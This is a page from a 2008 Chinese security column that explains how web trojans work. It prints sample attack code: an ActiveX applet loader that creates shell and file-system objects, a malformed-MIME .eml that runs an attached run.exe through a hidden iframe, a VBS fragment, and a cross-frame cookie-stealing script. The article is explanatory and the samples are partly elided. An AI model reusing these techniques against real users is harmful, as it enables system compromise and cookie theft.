您所在的位置: 首页 > 网络安全 > 专家专栏 > 子明 >

国内资深黑客详谈网页木马(7)

http://netsecurity.51cto.com  2008-05-07 13:27  子明  51CTO.com  我要评论(0)
  • 摘要:当今网络,反病毒软件日益增多,使用的反病毒技术越来越先进,查杀病毒的能力逐渐提高,但病毒制作者并不会罢休,反查杀手段不断升级,新的病毒层出不穷,形式也越来越多样化,为了躲避查杀,病毒自身的隐蔽性越来越高....
  • 标签:黑客  木马  危害  攻击
六、常用网页木马运行原理的分析

1.Javascript.Exception.Exploit

常用的攻击代码:

<  APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent>< /APPLET>
Function destroy(){
try
{
//ActiveX initialization 初始化ActiveX,为修改注册表做准备
a1=document.applets[0]; 
//获取applet运行对象,以下语句指向注册表中有关IE的表项
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
开始进行破坏
}
}
catch(e)
{}
}
catch(e)
{}
}
function do()
{
//初始化函数,并每隔一秒执行修改程序
setTimeout("destroy()", 1000); //设定运行时间1秒
}
Do() //进行破坏的执行函数指令

这个代码是JAVAScript编写,很简单,但却可以修改受影响系统的注册表,释放垃圾文件,格式化硬盘等。

2.错误的MIME Multipurpose Internet Mail Extentions,多用途的网际邮件扩充协议头

常用的攻击代码:

<  ! - - x.eml - - >
Content-Type: multipart/related;
type="multipart/alternative";
boundary="====B===="
--====B====
Content-Type: multipart/alternative;
boundary="====A===="
--====A====
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable
< iframe src=3Dcid:Mud height=3D0 width=3D0>< /iframe>
--====A====--
--====B====
Content-Type: audio/x-wav;
name="run.exe"
Content-Transfer-Encoding: base64
Content-ID: < Mud>  ---以下省略AAAAA N+1个---
把run.exe的类型定义为audio/x-wav,这是利用客户端支持的 MIME(多部
分网际邮件扩展,Multipart Internet Mail Extension) 类型的漏洞来完成的。当申明邮件的类型为audio/x-wav时,IE存在的一个漏洞会将附件认为是音频文件自动尝试打开,,结果导致邮件文件x.eml中的附件run.exe被执行。在win2000上,即使是用鼠标点击下载下来的 x.eml,或是拷贝粘贴,都会导致x.eml中的附件被运行。整个程序的运行还是依靠x.eml这个文件来支持。Content-Transfer-Encoding: base64 Content-ID: <Mud> 从中可以看出,由于定义后字符格式为base64,那么一下的代码全部为加密过的代码,里面可以是任何执行的命令:
〈  script language=vbs〉
On Error Resume Next• 容错语句,避免程序崩溃
set aa=CreateObject("WScript.Shell")•建立WScript对象
Set fs = CreateObject("Scripting.FileSystemObject")•建立文件系统对象
Set dir1 = fs.GetSpecialFolder(0)•得到Windows路径
Set dir2 = fs.GetSpecialFolder(1)•得到System路径
……省略……< /script>

之所以有的病毒不能准确的清除全部的病毒体,是因为很多杀毒软件,病毒监控只杀当时查到的,却不能处理新建的文件。

3.Iframe  漏洞的利用

常用攻击代码:

(1)
<  script language="jscript" >
onload=function () {
var
oVictim=open("http://url.url.com/url?threadm=vir","OurVi
ctim","width=100,height=100");
setTimeout(
function () {
oVictim.frames[0].location.href="javascript:alert(document.cooki
e)";
},
7000
);
}
<  /script>

(2)
〈 iframe src=run.eml width=0 height=0〉〈 /iframe〉
常见的木马运用格式,高度和宽度为0的一个框架网页。

(3)
<  object type="text/x-scriptlet" width="0"  height="0" data="test.html">< /object>
一个框架引用的新方式,对type="text/x-scriptlet" 的调整后,就可以实现和eml格式文件同样的效果。


共9页: 上一页 [1] [2] [3] [4] [5] [6] 7 [8] [9] 下一页
【内容导航】
 第 1 页:什么是网页木马  第 2 页:网页木马的攻击原理
 第 3 页:可能被网页木马利用的漏洞(1)  第 4 页:可能被网页木马利用的漏洞(2)
 第 5 页:网页木马的基本用法  第 6 页:目前常用的网页木马制作方式
 第 7 页:常用网页木马运行原理的分析  第 8 页:网页木马运行后特征分析
 第 9 页:网页木马的预防
上一篇: 国内资深黑客详谈Trojan-PSW盗号木马 下一篇: 没有了
如何有效防御SQL注入攻击
拒绝服务攻击DoS专题
访谈:Windows平台,企业网站漏洞的攻击和防御
新网百度黑客事件
ARP攻击防范与解决方案
 
 验证码: (点击刷新验证码)   匿名发表
  • 网络工程师考试案例动手实验营

  • 作者:郭春柱
  • 本书依据2009年版《网络工程师考试大纲》的考核要求,深入研究了历年网络工程师考试试题的命题风格和试题结构,对考查的知识点..
Copyright©2005-2008 51CTO.COM 版权所有